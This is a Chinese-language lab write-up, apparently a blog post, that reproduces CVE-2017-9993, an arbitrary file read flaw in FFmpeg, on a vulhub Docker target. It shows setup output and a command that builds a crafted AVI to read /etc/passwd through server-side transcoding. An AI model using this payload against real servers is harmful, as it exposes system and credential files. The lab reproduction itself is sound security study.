CVE-2017-9993ffmpeg 任意文件读取漏洞环境

简介: 漏洞描述2.8.12之前的FFmpeg、3.1.9之前的3.0.x和3.1.x、3.2.6之前的3.2.x和3.3.2之前的3.3.x未正确限制HTTP Live Streaming文件扩展名和解复用器名称,这允许攻击者通过特制的播放列表数据读取任意文件。环境搭建可以查看我的这篇文章https://developer.aliyun.com/article/1113693?spm=a2c6h.26396819.creator-center.8.22fb3e18sKKMLR目录为/vulhub-master/ffmpeg/phdays运行命令```shdocker-compose

漏洞描述
2.8.12之前的FFmpeg、3.1.9之前的3.0.x和3.1.x、3.2.6之前的3.2.x和3.3.2之前的3.3.x未正确限制HTTP Live Streaming文件扩展名和解复用器名称,这允许攻击者通过特制的播放列表数据读取任意文件。
环境搭建可以查看我的这篇文章
https://developer.aliyun.com/article/1113693?spm=a2c6h.26396819.creator-center.8.22fb3e18sKKMLR
目录为
/vulhub-master/ffmpeg/phdays
运行命令

docker-compose build
docker-compose up -d

返回结果

[root@localhost phdays]# docker-compose build
web uses an image, skipping
[root@localhost phdays]# docker-compose up -d
Creating network "phdays_default" with the default driver
Pulling web (vulhub/ffmpeg:3.2.4-with-php)...
Trying to pull repository docker.io/vulhub/ffmpeg ... 
3.2.4-with-php: Pulling from docker.io/vulhub/ffmpeg
3192219afd04: Pull complete
a9edd0f1d92a: Pull complete
a281efe2cee1: Pull complete
Digest: sha256:3883006c9e8975361580e2634a78244da37214bda4e986b5b3c81a4b01d8c882
Status: Downloaded newer image for docker.io/vulhub/ffmpeg:3.2.4-with-php
Creating phdays_web_1 ... done
[root@localhost phdays]# docker ps
CONTAINER ID        IMAGE                          COMMAND                  CREATED             STATUS              PORTS                    NAMES
3e74cdeb6dce        vulhub/ffmpeg:3.2.4-with-php   "php -S 0.0.0.0:80..."   37 seconds ago      Up 34 seconds       0.0.0.0:8080->8080/tcp   phdays_web_1

靶机ip:192.168.0.11:8080
载exp,并生成payload:

漏洞复现

下载exp

git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin

生成payload

./gen_xbin_avi.py file:///etc/passwd exp.avi

生成exp.avi,在http://your-ip:8080/上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中

image.png

目录
相关文章
|
7月前
|
Windows
【音视频 学习 ffmpeg】环境准备
【音视频 学习 ffmpeg】环境准备
|
5月前
|
Linux Apache C++
FFmpeg开发笔记(三十五)Windows环境给FFmpeg集成libsrt
该文介绍了如何在Windows环境下为FFmpeg集成SRT协议支持库libsrt。首先,需要安装Perl和Nasm,然后编译OpenSSL。接着,下载libsrt源码并使用CMake配置,生成VS工程并编译生成srt.dll和srt.lib。最后,将编译出的库文件和头文件按照特定目录结构放置,并更新环境变量,重新配置启用libsrt的FFmpeg并进行编译安装。该过程有助于优化直播推流的性能,减少卡顿问题。
136 2
FFmpeg开发笔记(三十五)Windows环境给FFmpeg集成libsrt
|
5月前
|
Linux
FFmpeg开发笔记(三十四)Linux环境给FFmpeg集成libsrt和librist
《FFmpeg开发实战》书中介绍了直播的RTSP和RTMP协议,以及新协议SRT和RIST。SRT是安全可靠传输协议,RIST是可靠的互联网流传输协议,两者于2017年发布。腾讯视频云采用SRT改善推流卡顿。以下是Linux环境下为FFmpeg集成libsrt和librist的步骤:下载安装源码,配置、编译和安装。要启用这些库,需重新配置FFmpeg,添加相关选项,然后编译和安装。成功后,通过`ffmpeg -version`检查版本信息以确认启用SRT和RIST支持。详细过程可参考书中相应章节。
113 1
FFmpeg开发笔记(三十四)Linux环境给FFmpeg集成libsrt和librist
|
6月前
|
编解码 Linux
FFmpeg开发笔记(二十八)Linux环境给FFmpeg集成libxvid
XviD是开源的MPEG-4视频编解码器,曾与DivX一起用于早期MP4视频编码,但现在已被H.264取代。要集成XviD到Linux上的FFmpeg,首先下载源码,解压后配置并编译安装libxvid。接着,在FFmpeg源码目录中,重新配置FFmpeg以启用libxvid,然后编译并安装。成功后,通过`ffmpeg -version`检查是否启用libxvid。详细步骤包括下载、解压libxvid,使用`configure`和`make`命令安装,以及更新FFmpeg配置并安装。
96 2
FFmpeg开发笔记(二十八)Linux环境给FFmpeg集成libxvid
|
6月前
|
编解码 Linux
FFmpeg开发笔记(二十五)Linux环境给FFmpeg集成libwebp
《FFmpeg开发实战》书中指导如何在Linux环境下为FFmpeg集成libwebp以支持WebP图片编解码。首先,从GitHub下载libwebp源码,解压后通过`libtoolize`,`autogen.sh`,`configure`,`make -j4`和`make install`步骤安装。接着,在FFmpeg源码目录中重新配置并添加`--enable-libwebp`选项,然后进行`make clean`,`make -j4`和`make install`以编译安装FFmpeg。最后,验证FFmpeg版本信息确认libwebp已启用。
117 1
FFmpeg开发笔记(二十五)Linux环境给FFmpeg集成libwebp
|
6月前
|
Linux 编解码 Python
FFmpeg开发笔记(二十四)Linux环境给FFmpeg集成AV1的编解码器
AV1是一种高效免费的视频编码标准,由AOM联盟制定,相比H.265压缩率提升约27%。各大流媒体平台倾向使用AV1。本文介绍了如何在Linux环境下为FFmpeg集成AV1编解码库libaom、libdav1d和libsvtav1。涉及下载源码、配置、编译和安装步骤,包括设置环境变量以启用这三个库。
292 3
FFmpeg开发笔记(二十四)Linux环境给FFmpeg集成AV1的编解码器
|
6月前
|
编解码 Windows
FFmpeg开发笔记(二十九)Windows环境给FFmpeg集成libxvid
XviD是开源MPEG-4视频编码器,与DivX相似但后者非开源。早期MP4常使用XviD或DivX编码,现已被H.264取代。在Windows上集成FFmpeg的XviD编解码库libxvid,需访问<https://labs.xvid.com/source/>下载源码,解压后在MSYS环境中配置、编译和安装。之后重新配置FFmpeg,启用libxvid并编译安装。详细步骤包括configure命令、make和make install。成功后,通过`ffmpeg -version`检查是否启用libxvid。更多音视频开发技术可参考《FFmpeg开发实战:从零基础到短视频上线》。
123 0
FFmpeg开发笔记(二十九)Windows环境给FFmpeg集成libxvid
|
7月前
|
算法 Linux Windows
FFmpeg开发笔记(十七)Windows环境给FFmpeg集成字幕库libass
在Windows环境下为FFmpeg集成字幕渲染库libass涉及多个步骤,包括安装freetype、libxml2、gperf、fontconfig、fribidi、harfbuzz和libass。每个库的安装都需要下载源码、配置、编译和安装,并更新PKG_CONFIG_PATH环境变量。最后,重新配置并编译FFmpeg以启用libass及相关依赖。完成上述步骤后,通过`ffmpeg -version`确认libass已成功集成。
160 1
FFmpeg开发笔记(十七)Windows环境给FFmpeg集成字幕库libass
|
7月前
|
编解码 Linux
FFmpeg开发笔记(十二)Linux环境给FFmpeg集成libopus和libvpx
在《FFmpeg开发实战》一书中,介绍了如何在Linux环境下为FFmpeg集成libopus和libvpx,以支持WebM格式的Opus和VP8/VP9编码。首先,下载并安装libopus。接着,下载并安装libvpx。最后,在FFmpeg源码目录下,重新配置FFmpeg,启用libopus和libvpx,编译并安装。通过`ffmpeg -version`检查版本信息,确认libopus和libvpx已启用。
162 1
FFmpeg开发笔记(十二)Linux环境给FFmpeg集成libopus和libvpx
|
7月前
|
编解码 Linux Windows
FFmpeg开发笔记(十一)Windows环境给FFmpeg集成vorbis和amr
在Windows环境下,为FFmpeg集成音频编解码库,包括libogg、libvorbis和opencore-amr,涉及下载源码、配置、编译和安装步骤。首先,安装libogg,通过配置、make和make install命令完成,并更新PKG_CONFIG_PATH。接着,安装libvorbis,同样配置、编译和安装,并修改pkgconfig文件。之后,安装opencore-amr。最后,重新配置并编译FFmpeg,启用ogg和amr支持,通过ffmpeg -version检查是否成功。整个过程需确保环境变量设置正确,并根据路径添加相应库。
156 1
FFmpeg开发笔记(十一)Windows环境给FFmpeg集成vorbis和amr